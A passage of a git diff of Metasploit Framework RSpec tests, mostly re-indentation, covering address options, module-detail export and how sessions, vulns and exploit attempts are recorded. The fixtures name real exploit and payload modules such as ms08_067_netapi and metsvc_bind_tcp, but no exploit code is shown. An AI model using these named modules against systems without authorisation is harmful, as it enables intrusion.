'addressrange' let(:required_opt) { Msf::OptAddressRange.new('RHOSTS', [true, 'The target addresses', '']) } diff --git a/spec/lib/msf/core/options/opt_address_spec.rb b/spec/lib/msf/core/options/opt_address_spec.rb index b14d385990..82bdf64d28 100644 --- a/spec/lib/msf/core/options/opt_address_spec.rb +++ b/spec/lib/msf/core/options/opt_address_spec.rb @@ -4,15 +4,15 @@ require 'spec_helper' require 'msf/core/option_container' describe Msf::OptAddress do - valid_values = [ - "192.0.2.0", "127.0.0.1", "2001:db8::", "::1" - # Normalized values are just the original value - ].map{|a| { :value => a, :normalized => a } } + valid_values = [ + "192.0.2.0", "127.0.0.1", "2001:db8::", "::1" + # Normalized values are just the original value + ].map{|a| { :value => a, :normalized => a } } - invalid_values = [ - # Too many dots - { :value => "192.0.2.0.0" }, - # Not enough + invalid_values = [ + # Too many dots + { :value => "192.0.2.0.0" }, + # Not enough { :value => "192.0.2" }, # Non-string values { :value => true}, @@ -20,9 +20,9 @@ describe Msf::OptAddress do { :value => []}, { :value => [1,2]}, { :value => {}}, - ] + ] - it_behaves_like "an option", valid_values, invalid_values, 'address' + it_behaves_like "an option", valid_values, invalid_values, 'address' diff --git a/spec/lib/msf/db_manager/export_spec.rb b/spec/lib/msf/db_manager/export_spec.rb index 33e1d07466..4f5de2e92f 100644 --- a/spec/lib/msf/db_manager/export_spec.rb +++ b/spec/lib/msf/db_manager/export_spec.rb @@ -3,106 +3,106 @@ require 'spec_helper' require 'msf/core/db_export' describe Msf::DBManager::Export do - include_context 'Msf::DBManager' + include_context 'Msf::DBManager' - subject(:export) do - described_class.new(workspace) - end + subject(:export) do + described_class.new(workspace) + end - let(:active) do - true - end + let(:active) do + true + end - let(:workspace) do - FactoryGirl.create( - :mdm_workspace - ) - end + let(:workspace) do + FactoryGirl.create( + :mdm_workspace + ) + end - context '#extract_module_detail_info' do - let(:report_file) do - StringIO.new - end + context '#extract_module_detail_info' do + let(:report_file) do + StringIO.new + end - subject(:extract_module_detail_info) do - export.extract_module_detail_info(report_file) - end + subject(:extract_module_detail_info) do + export.extract_module_detail_info(report_file) + end - context 'with Mdm::Module::Details' do - let(:document) do - Nokogiri::XML(report_file.string) - end + context 'with Mdm::Module::Details' do + let(:document) do + Nokogiri::XML(report_file.string) + end - let(:module_detail_count) do - 2 - end + let(:module_detail_count) do + 2 + end - let(:root) do - document.root - end + let(:root) do + document.root + end - let!(:module_details) do - FactoryGirl.create_list( - :mdm_module_detail, - module_detail_count - ) - end + let!(:module_details) do + FactoryGirl.create_list( + :mdm_module_detail, + module_detail_count + ) + end - before(:each) do - report_file.write("") - extract_module_detail_info - report_file.write("") - end + before(:each) do + report_file.write("") + extract_module_detail_info + report_file.write("") + end - it 'should have module_detail tag for each Mdm::Module::Detail' do - nodes = root.xpath('module_detail') + it 'should have module_detail tag for each Mdm::Module::Detail' do + nodes = root.xpath('module_detail') - nodes.length.should == module_detail_count - end + nodes.length.should == module_detail_count + end - context 'module_detail' do - let(:module_detail) do - module_details.first - end + context 'module_detail' do + let(:module_detail) do + module_details.first + end - subject(:module_detail_node) do - root.at_xpath('module_detail') - end + subject(:module_detail_node) do + root.at_xpath('module_detail') + end - it_should_behave_like 'Msf::DBManager::Export#extract_module_detail_info module_detail child', 'description' + it_should_behave_like 'Msf::DBManager::Export#extract_module_detail_info module_detail child', 'description' - context '/disclosure-date' do - it 'should have Mdm::Module::Detail#disclosure_date present' do - module_detail.disclosure_date.should be_present - end + context '/disclosure-date' do + it 'should have Mdm::Module::Detail#disclosure_date present' do + module_detail.disclosure_date.should be_present + end - it 'should have Mdm::Module::Detail#disclosure_date from disclosure-date content' do - node = module_detail_node.at_xpath('disclosure-date') + it 'should have Mdm::Module::Detail#disclosure_date from disclosure-date content' do + node = module_detail_node.at_xpath('disclosure-date') - Date.parse(node.content).should == module_detail.disclosure_date - end - end + Date.parse(node.content).should == module_detail.disclosure_date + end + end - it_should_behave_like 'Msf::DBManager::Export#extract_module_detail_info module_detail child', 'file' - it_should_behave_like 'Msf::DBManager::Export#extract_module_detail_info module_detail child', 'fullname' - it_should_behave_like 'Msf::DBManager::Export#extract_module_detail_info module_detail child', 'license' - it_should_behave_like 'Msf::DBManager::Export#extract_module_detail_info module_detail child', 'mtime' - it_should_behave_like 'Msf::DBManager::Export#extract_module_detail_info module_detail child', 'mtype' - it_should_behave_like 'Msf::DBManager::Export#extract_module_detail_info module_detail child', 'name' - it_should_behave_like 'Msf::DBManager::Export#extract_module_detail_info module_detail child', 'privileged' - it_should_behave_like 'Msf::DBManager::Export#extract_module_detail_info module_detail child', 'rank' - it_should_behave_like 'Msf::DBManager::Export#extract_module_detail_info module_detail child', 'refname' + it_should_behave_like 'Msf::DBManager::Export#extract_module_detail_info module_detail child', 'file' + it_should_behave_like 'Msf::DBManager::Export#extract_module_detail_info module_detail child', 'fullname' + it_should_behave_like 'Msf::DBManager::Export#extract_module_detail_info module_detail child', 'license' + it_should_behave_like 'Msf::DBManager::Export#extract_module_detail_info module_detail child', 'mtime' + it_should_behave_like 'Msf::DBManager::Export#extract_module_detail_info module_detail child', 'mtype' + it_should_behave_like 'Msf::DBManager::Export#extract_module_detail_info module_detail child', 'name' + it_should_behave_like 'Msf::DBManager::Export#extract_module_detail_info module_detail child', 'privileged' + it_should_behave_like 'Msf::DBManager::Export#extract_module_detail_info module_detail child', 'rank' + it_should_behave_like 'Msf::DBManager::Export#extract_module_detail_info module_detail child', 'refname' - # @todo https://www.pivotaltracker.com/story/show/48451001 - end - end + # @todo https://www.pivotaltracker.com/story/show/48451001 + end + end - context 'without Mdm::Module::Details' do - it 'should not write anything to report_file' do - extract_module_detail_info + context 'without Mdm::Module::Details' do + it 'should not write anything to report_file' do + extract_module_detail_info - report_file.string.should be_empty - end - end - end + report_file.string.should be_empty + end + end + end end \ No newline at end of file diff --git a/spec/lib/msf/db_manager_spec.rb b/spec/lib/msf/db_manager_spec.rb index 7bb3d98f8a..76f215b8df 100644 --- a/spec/lib/msf/db_manager_spec.rb +++ b/spec/lib/msf/db_manager_spec.rb @@ -12,1819 +12,1819 @@ require 'metasploit/framework/database' require 'msf/core' describe Msf::DBManager do - include_context 'Msf::DBManager' + include_context 'Msf::DBManager' - subject do - db_manager - end + subject do + db_manager + end - it_should_behave_like 'Msf::DBManager::Migration' - it_should_behave_like 'Msf::DBManager::ImportMsfXml' + it_should_behave_like 'Msf::DBManager::Migration' + it_should_behave_like 'Msf::DBManager::ImportMsfXml' - context '#initialize_metasploit_data_models' do - def initialize_metasploit_data_models - db_manager.initialize_metasploit_data_models - end + context '#initialize_metasploit_data_models' do + def initialize_metasploit_data_models + db_manager.initialize_metasploit_data_models + end - it 'should not add duplicate paths to ActiveRecord::Migrator.migrations_paths' do - initialize_metasploit_data_models + it 'should not add duplicate paths to ActiveRecord::Migrator.migrations_paths' do + initialize_metasploit_data_models - expect { - initialize_metasploit_data_models - }.to_not change { - ActiveRecord::Migrator.migrations_paths.length - } + expect { + initialize_metasploit_data_models + }.to_not change { + ActiveRecord::Migrator.migrations_paths.length + } - ActiveRecord::Migrator.migrations_paths.uniq.should == ActiveRecord::Migrator.migrations_paths - end - end + ActiveRecord::Migrator.migrations_paths.uniq.should == ActiveRecord::Migrator.migrations_paths + end + end - context '#purge_all_module_details' do - def purge_all_module_details - db_manager.purge_all_module_details - end + context '#purge_all_module_details' do + def purge_all_module_details + db_manager.purge_all_module_details + end - let(:migrated) do - false - end + let(:migrated) do + false + end - let(:module_detail_count) do - 2 - end + let(:module_detail_count) do + 2 + end - let!(:module_details) do - FactoryGirl.create_list( - :mdm_module_detail, - module_detail_count - ) - end + let!(:module_details) do + FactoryGirl.create_list( + :mdm_module_detail, + module_detail_count + ) + end - before(:each) do - db_manager.stub(:migrated => migrated) - end + before(:each) do + db_manager.stub(:migrated => migrated) + end - context 'with migrated' do - let(:migrated) do - true - end - - let(:modules_caching) do - false - end - - before(:each) do - db_manager.stub(:modules_caching => modules_caching) - end - - context 'with modules_caching' do - let(:modules_caching) do - true - end - - it 'should not destroy Mdm::Module::Details' do - expect { - purge_all_module_details - }.to_not change(Mdm::Module::Detail, :count) - end - end - - context 'without modules_caching' do - it 'should create a connection' do - # in purge_all_module_details - # in after(:each) - ActiveRecord::Base.connection_pool.should_receive(:with_connection).twice.and_call_original - - purge_all_module_details - end - - it 'should destroy all Mdm::Module::Details' do - expect { - purge_all_module_details - }.to change(Mdm::Module::Detail, :count).by(-module_detail_count) - end - end - end - - context 'without migrated' do - it 'should not destroy Mdm::Module::Details' do - expect { - purge_all_module_details - }.to_not change(Mdm::Module::Detail, :count) - end - end - end - - context '#report_session' do - let(:options) do - {} - end - - subject(:report_session) do - db_manager.report_session(options) - end - - context 'with active' do - let(:active) do - true - end - - it 'should create connection' do - # 1st time from with_established_connection - # 2nd time from report_session - ActiveRecord::Base.connection_pool.should_receive(:with_connection).exactly(2).times - - report_session + context 'with migrated' do + let(:migrated) do + true end - context 'with :session' do - before(:each) do - options[:session] = session - end + let(:modules_caching) do + false + end - context 'with Msf::Session' do - let(:exploit_datastore) do - Msf::ModuleDataStore.new(module_instance).tap do |datastore| - datastore['ParentModule'] = parent_module_fullname + before(:each) do + db_manager.stub(:modules_caching => modules_caching) + end - remote_port = rand(2 ** 16 - 1) - datastore['RPORT'] = remote_port - end - end + context 'with modules_caching' do + let(:modules_caching) do + true + end - let(:host) do - FactoryGirl.create(:mdm_host, :workspace => session_workspace) - end + it 'should not destroy Mdm::Module::Details' do + expect { + purge_all_module_details + }.to_not change(Mdm::Module::Detail, :count) + end + end - let(:module_instance) do - name = 'multi/handler' + context 'without modules_caching' do + it 'should create a connection' do + # in purge_all_module_details + # in after(:each) + ActiveRecord::Base.connection_pool.should_receive(:with_connection).twice.and_call_original - double( - 'Msf::Module', - :fullname => "exploit/#{name}", - :framework => framework, - :name => name - ) - end + purge_all_module_details + end - let(:options_workspace) do - FactoryGirl.create(:mdm_workspace) - end + it 'should destroy all Mdm::Module::Details' do + expect { + purge_all_module_details + }.to change(Mdm::Module::Detail, :count).by(-module_detail_count) + end + end + end - let(:parent_module_fullname) do - "exploit/#{parent_module_name}" - end + context 'without migrated' do + it 'should not destroy Mdm::Module::Details' do + expect { + purge_all_module_details + }.to_not change(Mdm::Module::Detail, :count) + end + end + end - let(:parent_module_name) do - 'windows/smb/ms08_067_netapi' - end + context '#report_session' do + let(:options) do + {} + end - let(:parent_path) do - Metasploit::Framework.root.join('modules').to_path - end + subject(:report_session) do + db_manager.report_session(options) + end - let(:session) do - session_class.new.tap do |session| - session.exploit_datastore = exploit_datastore - session.info = 'Info' - session.platform = 'Platform' - session.session_host = host.address - session.sid = rand(100) - session.type = 'Session Type' - session.via_exploit = 'exploit/multi/handler' - session.via_payload = 'payload/single/windows/metsvc_bind_tcp' - session.workspace = session_workspace.name - end - end + context 'with active' do + let(:active) do + true + end - let(:session_class) do - Class.new do - include Msf::Session + it 'should create connection' do + # 1st time from with_established_connection + # 2nd time from report_session + ActiveRecord::Base.connection_pool.should_receive(:with_connection).exactly(2).times - attr_accessor :datastore - attr_accessor :platform - attr_accessor :type - attr_accessor :via_exploit - attr_accessor :via_payload - end - end + report_session + end - let(:session_workspace) do - FactoryGirl.create(:mdm_workspace) - end + context 'with :session' do + before(:each) do + options[:session] = session + end - before(:each) do - reference_name = 'multi/handler' - path = File.join(parent_path, 'exploits', reference_name) + context 'with Msf::Session' do + let(:exploit_datastore) do + Msf::ModuleDataStore.new(module_instance).tap do |datastore| + datastore['ParentModule'] = parent_module_fullname - # fake cache data for exploit/multi/handler so it can be loaded - framework.modules.send( - :module_info_by_path=, - { - path => - { - :parent_path => parent_path, - :reference_name => reference_name, - :type => 'exploit', - } - } - ) + remote_port = rand(2 ** 16 - 1) + datastore['RPORT'] = remote_port + end + end - FactoryGirl.create( - :mdm_module_detail, - :fullname => parent_module_fullname, - :name => parent_module_name - ) - end + let(:host) do + FactoryGirl.create(:mdm_host, :workspace => session_workspace) + end - context 'with :workspace' do - before(:each) do - options[:workspace] = options_workspace - end + let(:module_instance) do + name = 'multi/handler' - it 'should not find workspace from session' do - db_manager.should_not_receive(:find_workspace) + double( + 'Msf::Module', + :fullname => "exploit/#{name}", + :framework => framework, + :name => name + ) + end - report_session - end - end + let(:options_workspace) do + FactoryGirl.create(:mdm_workspace) + end - context 'without :workspace' do - it 'should find workspace from session' do - db_manager.should_receive(:find_workspace).with(session.workspace).and_call_original + let(:parent_module_fullname) do + "exploit/#{parent_module_name}" + end - report_session - end + let(:parent_module_name) do + 'windows/smb/ms08_067_netapi' + end + + let(:parent_path) do + Metasploit::Framework.root.join('modules').to_path + end + + let(:session) do + session_class.new.tap do |session| + session.exploit_datastore = exploit_datastore + session.info = 'Info' + session.platform = 'Platform' + session.session_host = host.address + session.sid = rand(100) + session.type = 'Session Type' + session.via_exploit = 'exploit/multi/handler' + session.via_payload = 'payload/single/windows/metsvc_bind_tcp' + session.workspace = session_workspace.name + end + end + + let(:session_class) do + Class.new do + include Msf::Session + + attr_accessor :datastore + attr_accessor :platform + attr_accessor :type + attr_accessor :via_exploit + attr_accessor :via_payload + end + end + + let(:session_workspace) do + FactoryGirl.create(:mdm_workspace) + end + + before(:each) do + reference_name = 'multi/handler' + path = File.join(parent_path, 'exploits', reference_name) + + # fake cache data for exploit/multi/handler so it can be loaded + framework.modules.send( + :module_info_by_path=, + { + path => + { + :parent_path => parent_path, + :reference_name => reference_name, + :type => 'exploit', + } + } + ) + + FactoryGirl.create( + :mdm_module_detail, + :fullname => parent_module_fullname, + :name => parent_module_name + ) + end + + context 'with :workspace' do + before(:each) do + options[:workspace] = options_workspace + end + + it 'should not find workspace from session' do + db_manager.should_not_receive(:find_workspace) + + report_session + end + end + + context 'without :workspace' do + it 'should find workspace from session' do + db_manager.should_receive(:find_workspace).with(session.workspace).and_call_original + + report_session + end it 'should pass session.workspace to #find_or_create_host' do - db_manager.should_receive(:find_or_create_host).with( - hash_including( - :workspace => session_workspace - ) - ).and_return(host) + db_manager.should_receive(:find_or_create_host).with( + hash_including( + :workspace => session_workspace + ) + ).and_return(host) - report_session + report_session end - end - - context 'with workspace from either :workspace or session' do - it 'should pass normalized host from session as :host to #find_or_create_host' do - normalized_host = double('Normalized Host') - db_manager.stub(:normalize_host).with(session).and_return(normalized_host) - # stub report_vuln so its use of find_or_create_host and normalize_host doesn't interfere. - db_manager.stub(:report_vuln) - - db_manager.should_receive(:find_or_create_host).with( - hash_including( - :host => normalized_host - ) - ).and_return(host) - - report_session - end - - context 'with session responds to arch' do - let(:arch) do - FactoryGirl.generate :mdm_host_arch - end - - before(:each) do - session.stub(:arch => arch) - end - - it 'should pass :arch to #find_or_create_host' do - db_manager.should_receive(:find_or_create_host).with( - hash_including( - :arch => arch - ) - ).and_call_original - - report_session - end - end - - context 'without session responds to arch' do - it 'should not pass :arch to #find_or_create_host' do - db_manager.should_receive(:find_or_create_host).with( - hash_excluding( - :arch - ) - ).and_call_original - - report_session - end - end - - it 'should create an Mdm::Session' do - expect { - report_session - }.to change(Mdm::Session, :count).by(1) - end - - it { should be_an Mdm::Session } - - it 'should set session.db_record to created Mdm::Session' do - mdm_session = report_session - - session.db_record.should == mdm_session - end - - context 'with session.via_exploit' do - it 'should create session.via_exploit module' do - framework.modules.should_receive(:create).with(session.via_exploit).and_call_original - - report_session - end - - it 'should create Mdm::Vuln' do - expect { - report_session - }.to change(Mdm::Vuln, :count).by(1) - end - - context 'created Mdm::Vuln' do - let(:mdm_session) do - Mdm::Session.last - end - - let(:rport) do - nil - end - - before(:each) do - Timecop.freeze - - session.exploit_datastore['RPORT'] = rport - - report_session - end - - after(:each) do - Timecop.return - end - - subject(:vuln) do - Mdm::Vuln.last - end - - its(:host) { should == Mdm::Host.last } - its(:refs) { should == [] } - its(:exploited_at) { should be_within(1.second).of(Time.now.utc) } - - context "with session.via_exploit 'exploit/multi/handler'" do - context "with session.exploit_datastore['ParentModule']" do - its(:info) { should == "Exploited by #{parent_module_fullname} to create Session #{mdm_session.id}" } - its(:name) { should == parent_module_name } - end - end - - context "without session.via_exploit 'exploit/multi/handler'" do - let(:reference_name) do - 'windows/smb/ms08_067_netapi' - end - - before(:each) do - path = File.join( - parent_path, - 'exploits', - "#{reference_name}.rb" - ) - type = 'exploit' - - # fake cache data for ParentModule so it can be loaded - framework.modules.send( - :module_info_by_path=, - { - path => - { - :parent_path => parent_path, - :reference_name => reference_name, - :type => type, - } - } - ) - - session.via_exploit = "#{type}/#{reference_name}" - end - - its(:info) { should == "Exploited by #{session.via_exploit} to create Session #{mdm_session.id}"} - its(:name) { should == reference_name } - end - - context 'with RPORT' do - let(:rport) do - # use service.port instead of having service use rport so - # that service is forced to exist before call to - # report_service, which happens right after using rport in - # outer context's before(:each) - service.port - end - - let(:service) do - FactoryGirl.create( - :mdm_service, - :host => host - ) - end - - its(:service) { should == service } - end - - context 'without RPORT' do - its(:service) { should be_nil } - end - end - - context 'created Mdm::ExploitAttempt' do - let(:rport) do - nil - end - - before(:each) do - Timecop.freeze - - session.exploit_datastore['RPORT'] = rport - - report_session - end - - after(:each) do - Timecop.return - end - - subject(:exploit_attempt) do - Mdm::ExploitAttempt.last - end - - its(:attempted_at) { should be_within(1.second).of(Time.now.utc) } - # @todo https://www.pivotaltracker.com/story/show/48362615 - its(:session_id) { should == Mdm::Session.last.id } - its(:exploited) { should == true } - # @todo https://www.pivotaltracker.com/story/show/48362615 - its(:vuln_id) { should == Mdm::Vuln.last.id } - - context "with session.via_exploit 'exploit/multi/handler'" do - context "with session.datastore['ParentModule']" do - its(:module) { should == parent_module_fullname } - end - end - - context "without session.via_exploit 'exploit/multi/handler'" do - before(:each) do - session.via_exploit = parent_module_fullname - end - - its(:module) { should == session.via_exploit } - end - end - end - - context 'returned Mdm::Session' do - before(:each) do - Timecop.freeze - end - - after(:each) do - Timecop.return - end - - subject(:mdm_session) do - report_session - end - - # - # Ensure session has attributes present so its on mdm_session are - # not just comparing nils. - # - - it 'should have session.info present' do - session.info.should be_present - end - - it 'should have session.sid present' do - session.sid.should be_present - end - - it 'should have session.platform present' do - session.platform.should be_present - end - - it 'should have session.type present' do - session.type.should be_present - end - - it 'should have session.via_exploit present' do - session.via_exploit.should be_present - end - - it 'should have session.via_payload present' do - session.via_exploit.should be_present - end - - its(:datastore) { should == session.exploit_datastore.to_h } - its(:desc) { should == session.info } - its(:host_id) { should == Mdm::Host.last.id } - its(:last_seen) { should be_within(1.second).of(Time.now.utc) } - its(:local_id) { should == session.sid } - its(:opened_at) { should be_within(1.second).of(Time.now.utc) } - its(:platform) { should == session.platform } - its(:routes) { should == [] } - its(:stype) { should == session.type } - its(:via_payload) { should == session.via_payload } - - context "with session.via_exploit 'exploit/multi/handler'" do - it "should have session.via_exploit of 'exploit/multi/handler'" do - session.via_exploit.should == 'exploit/multi/handler' - end - - context "with session.exploit_datastore['ParentModule']" do - it "should have session.exploit_datastore['ParentModule']" do - session.exploit_datastore['ParentModule'].should_not be_nil - end - - its(:via_exploit) { should == parent_module_fullname } - end - end - - context "without session.via_exploit 'exploit/multi/handler'" do - before(:each) do - reference_name = 'windows/smb/ms08_067_netapi' - path = File.join( - parent_path, - 'exploits', - "#{reference_name}.rb" - ) - type = 'exploit' - - # fake cache data for ParentModule so it can be loaded - framework.modules.send( - :module_info_by_path=, - { - path => - { - :parent_path => parent_path, - :reference_name => reference_name, - :type => type, - } - } - ) - - session.via_exploit = "#{type}/#{reference_name}" - end - - it "should not have session.via_exploit of 'exploit/multi/handler'" do - session.via_exploit.should_not == 'exploit/multi/handler' - end - - its(:via_exploit) { should == session.via_exploit } - end - end - end - end - - context 'without Msf::Session' do - let(:session) do - double('Not a Msf::Session') - end - - it 'should raise ArgumentError' do - expect { - report_session - }.to raise_error(ArgumentError, "Invalid :session, expected Msf::Session") - end - end - end - - context 'without :session' do - context 'with :host' do - before(:each) do - options[:host] = host - end - - context 'with Mdm::Host' do - let(:host) do - FactoryGirl.create(:mdm_host) - end - - context 'created Mdm::Session' do - let(:closed_at) do - nil - end - - let(:close_reason) do - 'Closed because...' - end - - let(:description) do - 'Session Description' - end - - let(:exploit_full_name) do - 'exploit/windows/smb/ms08_067_netapi' - end - - let(:last_seen) do - nil - end - - let(:opened_at) do - Time.now.utc - 5.minutes - end - - let(:payload_full_name) do - 'payload/singles/windows/metsvc_reverse_tcp' - end - - let(:platform) do - 'Host Platform' - end - - let(:routes) do - nil - end - - let(:session_type) do - 'Session Type' - end - - before(:each) do - options[:closed_at] = closed_at - options[:close_reason] = close_reason - options[:desc] = description - options[:last_seen] = last_seen - options[:opened_at] = opened_at - options[:platform] = platform - options[:routes] = routes - options[:stype] = session_type - options[:via_payload] = payload_full_name - options[:via_exploit] = exploit_full_name - end - - subject(:mdm_session) do - report_session - end - - its(:close_reason) { should == close_reason } - its(:desc) { should == description } - its(:host) { should == host } - its(:platform) { should == platform } - its(:stype) { should == session_type } - its(:via_exploit) { should == exploit_full_name } - its(:via_payload) { should == payload_full_name } - - context 'with :last_seen' do - let(:last_seen) do - opened_at - end - - its(:last_seen) { should == last_seen } - end - - context 'with :closed_at' do - let(:closed_at) do - opened_at + 1.minute - end - - its(:closed_at) { should == closed_at } - end - - context 'without :closed_at' do - its(:closed_at) { should == nil } - end - - context 'without :last_seen' do - context 'with :closed_at' do - let(:closed_at) do - opened_at + 1.minute - end - - its(:last_seen) { should == closed_at } - end - - context 'without :closed_at' do - its(:last_seen) { should be_nil } - end - end - - context 'with :routes' do - let(:routes) do - FactoryGirl.build_list( - :mdm_route, - 1, - :session => nil - ) - end - - its(:routes) { should == routes } - end - - context 'without :routes' do - its(:routes) { should == [] } - end - end - end - - context 'without Mdm::Host' do - let(:host) do - '192.168.0.1' - end - - it 'should raise ArgumentError' do - expect { - report_session - }.to raise_error(ArgumentError, "Invalid :host, expected Host object") - end - end - end - - context 'without :host' do - it 'should raise ArgumentError' do - expect { - report_session - }.to raise_error(ArgumentError) - end - end - end - end - - context 'without active' do - let(:active) do - false - end - - it { should be_nil } - - it 'should not create a connection' do - # 1st time for with_established_connection - ActiveRecord::Base.connection_pool.should_receive(:with_connection).once - - report_session - end - end - end - - context '#remove_module_details' do - def remove_module_details - db_manager.remove_module_details(mtype, refname) - end - - let(:migrated) do - false - end - - let(:mtype) do - FactoryGirl.generate :mdm_module_detail_mtype - end - - let(:refname) do - FactoryGirl.generate :mdm_module_detail_refname - end - - let!(:module_detail) do - FactoryGirl.create( - :mdm_module_detail - ) - end - - before(:each) do - db_manager.stub(:migrated => migrated) - end - - context 'with migrated' do - let(:migrated) do - true - end - - let!(:module_detail) do - FactoryGirl.create(:mdm_module_detail) - end - - context 'with matching Mdm::Module::Detail' do - let(:mtype) do - module_detail.mtype - end - - let(:refname) do - module_detail.refname - end - - it 'should destroy Mdm::Module::Detail' do - expect { - remove_module_details - }.to change(Mdm::Module::Detail, :count).by(-1) - end - end - - context 'without matching Mdm::Module::Detail' do - it 'should not destroy Mdm::Module::Detail' do - expect { - remove_module_details - }.to_not change(Mdm::Module::Detail, :count) - end - end - end - - context 'without migrated' do - it 'should not destroy Mdm::Module::Detail' do - expect { - remove_module_details - }.to_not change(Mdm::Module::Detail, :count) - end - end - end - - context '#search_modules' do + end + + context 'with workspace from either :workspace or session' do + it 'should pass normalized host from session as :host to #find_or_create_host' do + normalized_host = double('Normalized Host') + db_manager.stub(:normalize_host).with(session).and_return(normalized_host) + # stub report_vuln so its use of find_or_create_host and normalize_host doesn't interfere. + db_manager.stub(:report_vuln) + + db_manager.should_receive(:find_or_create_host).with( + hash_including( + :host => normalized_host + ) + ).and_return(host) + + report_session + end + + context 'with session responds to arch' do + let(:arch) do + FactoryGirl.generate :mdm_host_arch + end + + before(:each) do + session.stub(:arch => arch) + end + + it 'should pass :arch to #find_or_create_host' do + db_manager.should_receive(:find_or_create_host).with( + hash_including( + :arch => arch + ) + ).and_call_original + + report_session + end + end + + context 'without session responds to arch' do + it 'should not pass :arch to #find_or_create_host' do + db_manager.should_receive(:find_or_create_host).with( + hash_excluding( + :arch + ) + ).and_call_original + + report_session + end + end + + it 'should create an Mdm::Session' do + expect { + report_session + }.to change(Mdm::Session, :count).by(1) + end + + it { should be_an Mdm::Session } + + it 'should set session.db_record to created Mdm::Session' do + mdm_session = report_session + + session.db_record.should == mdm_session + end + + context 'with session.via_exploit' do + it 'should create session.via_exploit module' do + framework.modules.should_receive(:create).with(session.via_exploit).and_call_original + + report_session + end + + it 'should create Mdm::Vuln' do + expect { + report_session + }.to change(Mdm::Vuln, :count).by(1) + end + + context 'created Mdm::Vuln' do + let(:mdm_session) do + Mdm::Session.last + end + + let(:rport) do + nil + end + + before(:each) do + Timecop.freeze + + session.exploit_datastore['RPORT'] = rport + + report_session + end + + after(:each) do + Timecop.return + end + + subject(:vuln) do + Mdm::Vuln.last + end + + its(:host) { should == Mdm::Host.last } + its(:refs) { should == [] } + its(:exploited_at) { should be_within(1.second).of(Time.now.utc) } + + context "with session.via_exploit 'exploit/multi/handler'" do + context "with session.exploit_datastore['ParentModule']" do + its(:info) { should == "Exploited by #{parent_module_fullname} to create Session #{mdm_session.id}" } + its(:name) { should == parent_module_name } + end + end + + context "without session.via_exploit 'exploit/multi/handler'" do + let(:reference_name) do + 'windows/smb/ms08_067_netapi' + end + + before(:each) do + path = File.join( + parent_path, + 'exploits', + "#{reference_name}.rb" + ) + type = 'exploit' + + # fake cache data for ParentModule so it can be loaded + framework.modules.send( + :module_info_by_path=, + { + path => + { + :parent_path => parent_path, + :reference_name => reference_name, + :type => type, + } + } + ) + + session.via_exploit = "#{type}/#{reference_name}" + end + + its(:info) { should == "Exploited by #{session.via_exploit} to create Session #{mdm_session.id}"} + its(:name) { should == reference_name } + end + + context 'with RPORT' do + let(:rport) do + # use service.port instead of having service use rport so + # that service is forced to exist before call to + # report_service, which happens right after using rport in + # outer context's before(:each) + service.port + end + + let(:service) do + FactoryGirl.create( + :mdm_service, + :host => host + ) + end + + its(:service) { should == service } + end + + context 'without RPORT' do + its(:service) { should be_nil } + end + end + + context 'created Mdm::ExploitAttempt' do + let(:rport) do + nil + end + + before(:each) do + Timecop.freeze + + session.exploit_datastore['RPORT'] = rport + + report_session + end + + after(:each) do + Timecop.return + end + + subject(:exploit_attempt) do + Mdm::ExploitAttempt.last + end + + its(:attempted_at) { should be_within(1.second).of(Time.now.utc) } + # @todo https://www.pivotaltracker.com/story/show/48362615 + its(:session_id) { should == Mdm::Session.last.id } + its(:exploited) { should == true } + # @todo https://www.pivotaltracker.com/story/show/48362615 + its(:vuln_id) { should == Mdm::Vuln.last.id } + + context "with session.via_exploit 'exploit/multi/handler'" do + context "with session.datastore['ParentModule']" do + its(:module) { should == parent_module_fullname } + end + end + + context "without session.via_exploit 'exploit/multi/handler'" do + before(:each) do + session.via_exploit = parent_module_fullname + end + + its(:module) { should == session.via_exploit } + end + end + end + + context 'returned Mdm::Session' do + before(:each) do + Timecop.freeze + end + + after(:each) do + Timecop.return + end + + subject(:mdm_session) do + report_session + end + + # + # Ensure session has attributes present so its on mdm_session are + # not just comparing nils. + # + + it 'should have session.info present' do + session.info.should be_present + end + + it 'should have session.sid present' do + session.sid.should be_present + end + + it 'should have session.platform present' do + session.platform.should be_present + end + + it 'should have session.type present' do + session.type.should be_present + end + + it 'should have session.via_exploit present' do + session.via_exploit.should be_present + end + + it 'should have session.via_payload present' do + session.via_exploit.should be_present + end + + its(:datastore) { should == session.exploit_datastore.to_h } + its(:desc) { should == session.info } + its(:host_id) { should == Mdm::Host.last.id } + its(:last_seen) { should be_within(1.second).of(Time.now.utc) } + its(:local_id) { should == session.sid } + its(:opened_at) { should be_within(1.second).of(Time.now.utc) } + its(:platform) { should == session.platform } + its(:routes) { should == [] } + its(:stype) { should == session.type } + its(:via_payload) { should == session.via_payload } + + context "with session.via_exploit 'exploit/multi/handler'" do + it "should have session.via_exploit of 'exploit/multi/handler'" do + session.via_exploit.should == 'exploit/multi/handler' + end + + context "with session.exploit_datastore['ParentModule']" do + it "should have session.exploit_datastore['ParentModule']" do + session.exploit_datastore['ParentModule'].should_not be_nil + end + + its(:via_exploit) { should == parent_module_fullname } + end + end + + context "without session.via_exploit 'exploit/multi/handler'" do + before(:each) do + reference_name = 'windows/smb/ms08_067_netapi' + path = File.join( + parent_path, + 'exploits', + "#{reference_name}.rb" + ) + type = 'exploit' + + # fake cache data for ParentModule so it can be loaded + framework.modules.send( + :module_info_by_path=, + { + path => + { + :parent_path => parent_path, + :reference_name => reference_name, + :type => type, + } + } + ) + + session.via_exploit = "#{type}/#{reference_name}" + end + + it "should not have session.via_exploit of 'exploit/multi/handler'" do + session.via_exploit.should_not == 'exploit/multi/handler' + end + + its(:via_exploit) { should == session.via_exploit } + end + end + end + end + + context 'without Msf::Session' do + let(:session) do + double('Not a Msf::Session') + end + + it 'should raise ArgumentError' do + expect { + report_session + }.to raise_error(ArgumentError, "Invalid :session, expected Msf::Session") + end + end + end + + context 'without :session' do + context 'with :host' do + before(:each) do + options[:host] = host + end + + context 'with Mdm::Host' do + let(:host) do + FactoryGirl.create(:mdm_host) + end + + context 'created Mdm::Session' do + let(:closed_at) do + nil + end + + let(:close_reason) do + 'Closed because...' + end + + let(:description) do + 'Session Description' + end + + let(:exploit_full_name) do + 'exploit/windows/smb/ms08_067_netapi' + end + + let(:last_seen) do + nil + end + + let(:opened_at) do + Time.now.utc - 5.minutes + end + + let(:payload_full_name) do + 'payload/singles/windows/metsvc_reverse_tcp' + end + + let(:platform) do + 'Host Platform' + end + + let(:routes) do + nil + end + + let(:session_type) do + 'Session Type' + end + + before(:each) do + options[:closed_at] = closed_at + options[:close_reason] = close_reason + options[:desc] = 